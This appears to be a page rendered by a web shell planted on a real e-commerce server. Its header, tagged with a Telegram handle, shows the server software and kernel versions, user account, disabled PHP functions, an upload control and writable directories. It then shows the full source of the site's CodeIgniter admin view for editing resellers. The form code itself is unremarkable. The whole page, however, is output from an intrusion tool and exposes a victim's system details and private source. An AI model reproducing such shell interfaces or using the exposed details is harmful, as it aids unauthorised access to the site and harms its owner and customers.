https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/admin/resellers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/admin/resellers/edit_reseller.php
<div class="row">
    <div class="col-sm-12">
        <p><a href="<?= base_url('admin/resellers/lists'); ?>"><i class="fa fa-arrow-left" aria-hidden="true"></i> Back to resellers</a></p><br>
        <h4><?= empty($customers->id_customers) ? 'Tambah reseller baru' : 'Edit reseller: '
                . $customers->name; ?></h4>
        <?= $this->session->flashdata('success'); //to display success message 
        ?>
        <?= $this->session->flashdata('result'); //to display result message 
        ?>
    </div><!-- end class="col-sm-12" -->
</div> <!-- end row -->

<?= form_open_multipart(); ?>

<div class="row">
    <div class="col-sm-3">
        <p>Judul</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <?php
        $options = array(
            'mr'  => 'Mr',
            'mrs'  => 'Mrs',
            'ms' => 'Ms'
        );
        echo form_dropdown('title', $options, $customers->title, 'class="form-control"'); ?>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>Nama Reseller</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?php
            $data = array(
                'name'        => 'name',
                'value'       => $customers->name,
                'class'       => 'form-control'
            );
            echo form_input($data); ?>
            <?= form_error('name'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>E-mail</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?php
            $data = array(
                'name'        => 'email',
                'value'       => $customers->email,
                'class'       => 'form-control'
            );
            echo form_input($data); ?>
            <?= form_error('email'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>Handphone</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?php
            $data = array(
                'name'        => 'phone',
                'value'       => $customers->phone,
                'class'       => 'form-control'
            );
            echo form_input($data); ?>
            <?= form_error('phone'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>Tanggal lahir</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?php
            $data = array(
                'name'        => 'birthday',
                'class'       => 'form-control registerdatepicker'
            );
            if (!empty($customers->birthday)) {
                $data['value'] = date('d-m-Y', strtotime($customers->birthday));
            }
            echo form_input($data); ?>
            <?= form_error('birthday'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row" style="padding-bottom:15px;">
    <div class="col-sm-3">
        <p>Negara</p>
    </div><!-- end class="col-sm-3" -->
    <div class="col-sm-9">

        <select id="country" name="country" class="form-control" required>
            <option value="">Pilih Negara...</option>

            <?php foreach ($countries as $country) : ?>

                <option value="<?= $country->id_countries; ?>" <?php if (isset($current_country_id)) : ?> <?php if ($country->id_countries == $current_country_id) : ?> selected <?php endif; ?> <?php endif; ?>><?= ucwords($country->country); ?></option>

                <?php if ($country->id_countries == 84) : ?>

                    <option value="0" <?php if (isset($current_country_id)) : ?> <?php if ($current_country_id == 0) : ?> selected <?php endif; ?> <?php endif; ?>>INDONESIA</option>
                <?php endif; ?>

            <?php endforeach; ?>
        </select>
    </div><!-- end class="col-sm-9" -->
</div><!-- end class="row" -->

<script>
    $(document).ready(function() {
        if ($('#country').val() != 0) {
            $('#provinceBlock').hide();
            $('#districtBlock').hide();
            $('#subdistrictBlock').hide();
        }

        $('#country').change(function() {
            if ($(this).val() == '0') { //if Indonesia is chosen
                $('#provinceBlock').show();
                $('#districtBlock').show();
                $('#subdistrictBlock').show();
            } else {
                $('#provinceBlock').hide();
                $('#districtBlock').hide();
                $('#subdistrictBlock').hide();
            }
        });
    });
</script>

<div class="row" id="provinceBlock">
    <div class="col-sm-3">
        <p>Propinsi</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <select id="province" name="province" class="form-control">

            <option value="">Pilih Propinsi...</option>

            <?php foreach ($provinces as $province) : ?>

                <option value="<?= $province->rajaongkir_province_id; ?>" <?php if (isset($shipping)) : ?> <?php if ($province->rajaongkir_province_id == $shipping->id_province) : ?> selected <?php endif ?> <?php endif; ?>><?= ucwords($province->province); ?></option>

            <?php endforeach; ?>

        </select>

        <?php echo '<span style="font-size:10px;">' . form_error('province') . '</span>';

        ?>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row" id="districtBlock">
    <div class="col-sm-3">
        <p>Kota/Kabupaten</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <select id="district" name="district" class="form-control">

            <?php if (isset($district_lists)) : ?>
                <?php foreach ($district_lists as $district) : ?>
                    <option value="<?= $district->rajaongkir_id_district; ?>" <?php if (isset($shipping)) : ?> <?php if ($district->rajaongkir_id_district == $shipping->id_district) : ?> selected <?php endif; ?> <?php endif; ?>><?= ucwords($district->district); ?></option>
                <?php endforeach; ?>
            <?php endif; ?>

        </select> <span id="loadingSpinner"><img style="width:30px; height:auto;" src="<?= base_url('assets/frontend/img/spinner.gif'); ?>"></span>

        <?php echo '<span style="font-size:10px;">' . form_error('district') . '</span>'; ?>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row" id="subdistrictBlock">
    <div class="col-sm-3">
        <p>Kecamatan</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <select id="subdistrict" name="subdistrict" class="form-control">

            <?php if (isset($subdistrict_lists)) : ?>
                <?php foreach ($subdistrict_lists as $subdistrict) : ?>
                    <option value="<?= $subdistrict->rajaongkir_id_subdistrict; ?>" <?php if (isset($shipping)) : ?> <?php if ($subdistrict->rajaongkir_id_subdistrict == $shipping->id_subdistrict) : ?> selected <?php endif; ?> <?php endif; ?>><?= ucwords($subdistrict->subdistrict); ?></option>
                <?php endforeach; ?>
            <?php endif; ?>

        </select> <span id="loadingSpinner2"><img style="width:30px; height:auto;" src="<?= base_url('assets/frontend/img/spinner.gif'); ?>"></span>

        <?php echo '<span style="font-size:10px;">' . form_error('subdistrict') . '</span>'; ?>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>Alamat</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?php
            $data = array(
                'name'        => 'address',
                'value'       => $customers->address,
                'class'       => 'form-control'
            );
            echo form_input($data); ?>
            <?= form_error('address'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<script>
    //Ajax call to get district from province
    $(document).ready(function() {

        var id_province;
        var id_district;
        var id_subdistrict;

        /*----for registration-----*/
        $(".registerdatepicker").datepicker({
            dateFormat: 'dd-mm-yy',
            changeYear: true,
            changeMonth: true,
            yearRange: '1960:2016',
        });

        //Spinner on loading districts from province
        $('#loadingSpinner').hide();
        $('#loadingSpinner2').hide();
        $('#loadingSpinner3').hide();

        $('#province').change(function() {
            id_province = $(this).val();
            load_data_district(id_province);
        });

        $('#district').change(function() {
            id_district = $(this).val();
            load_data_subdistrict(id_district);
        });

        $('#subdistrict').change(function() {
            id_subdistrict = $(this).val();
            //load_data_outlet(id_province, id_district, id_subdistrict);
        });

        var controller = 'ajax';
        var base_url = '<?php echo base_url(); ?>';

        function load_data_district(id_province) {

            $('#loadingSpinner').show();

            $.ajax({
                'url': base_url + controller + '/ajax_get_district',
                'type': 'POST',
                'data': {
                    'id_province': id_province,
                    '<?= $this->security->get_csrf_token_name(); ?>': '<?= $this->security->get_csrf_hash(); ?>'
                },
                'success': function(data) {

                    var container = $('#district');

                    if (data) {
                        /*---success----*/
                        container.html(data);
                        $('#loadingSpinner').hide();
                    };
                }
            });
        }

        function load_data_subdistrict(id_district) {

            $('#loadingSpinner2').show();

            $.ajax({
                'url': base_url + controller + '/ajax_get_subdistrict',
                'type': 'POST',
                'data': {
                    'id_district': id_district,
                    '<?= $this->security->get_csrf_token_name(); ?>': '<?= $this->security->get_csrf_hash(); ?>'
                },
                'success': function(data) {

                    var container = $('#subdistrict');

                    if (data) {
                        /*---success----*/
                        container.html(data);
                        $('#loadingSpinner2').hide();
                    };
                }
            });
        }

        function load_data_outlet(id_province, id_district, id_subdistrict) {

            $('#loadingSpinner3').show();

            $.ajax({
                'url': base_url + controller + '/ajax_get_outlet',
                'type': 'POST',
                'data': {
                    'id_district': id_district,
                    'id_subdistrict': id_subdistrict,
                    'id_province': id_province,
                    '<?= $this->security->get_csrf_token_name(); ?>': '<?= $this->security->get_csrf_hash(); ?>'
                },
                'success': function(data) {

                    var container = $('#outlet');

                    if (data) {
                        /*---success----*/
                        container.html(data);
                        $('#loadingSpinner3').hide();
                    };
                }
            });
        }

    });
</script>



<div class="row">
    <div class="col-sm-3">
        <p>Kode Pos</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?php
            $data = array(
                'name'        => 'postcode',
                'value'       => $customers->postcode,
                'class'       => 'form-control'
            );
            echo form_input($data); ?>
            <?= form_error('postcode'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>Tipe Reseller</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <select name="reseller_id" class="form-control" required>
            <option value="">Pilih Tipe Reseller ...</option>
            <?php
            //get all reseller types
            $this->db->select('id_resellers, reseller_name')->from('resellers');
            $resellers = $this->db->get()->result();
            ?>
            <?php foreach ($resellers as $reseller) : ?>
                <option value="<?= $reseller->id_resellers; ?>" <?php if ($reseller->id_resellers == $customers->reseller_id) : ?> selected <?php endif; ?>><?= ucwords($reseller->reseller_name); ?></option>
            <?php endforeach; ?>
        </select>

    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>Dropship</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <select name="dropship" class="form-control">
            <option value="no" <?php if ($customers->dropship == 'no') : ?> selected <?php endif; ?>>No</option>
            <option value="yes" <?php if ($customers->dropship == 'yes') : ?> selected <?php endif; ?>>Yes</option>
        </select>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>Status</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <?php
        $options = array(
            '0'  => 'Not Active',
            '1'  => 'Active'
        );
        echo form_dropdown('status', $options, $customers->status, 'class="form-control"'); ?>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>Credit</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?php
            $data = array(
                'name'        => 'credit',
                'value'       => $customers->current_pointreward,
                'class'       => 'form-control'
            );
            echo form_input($data); ?>
            <?= form_error('credit'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->



<div class="row">
    <div class="col-sm-3">
        <p>Kata Sandi</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?php
            $data = array(
                'name'        => 'register_password',
                'class'       => 'form-control'
            );
            echo form_password($data); ?>
            <?= form_error('register_password'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
        <p>Ketik ulang Kata Sandi</p>
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?php
            $data = array(
                'name'        => 'retype_register_password',
                'class'       => 'form-control'
            );
            echo form_password($data); ?>
            <?= form_error('retype_register_password'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<div class="row">
    <div class="col-sm-3">
    </div><!-- end class="col-sm-3" -->

    <div class="col-sm-9">
        <p>
            <?= form_submit('submit', 'Update', 'class="btn btn-primary btn-success button-brown"'); ?>
            &nbsp;&nbsp;&nbsp;<?= anchor('admin/resellers/lists', 'Batal'); ?></p>
    </div><!-- end class="col-sm-9" -->
</div> <!-- end row -->

<?= form_close(); ?>

https://t.me/RX1948 - 2025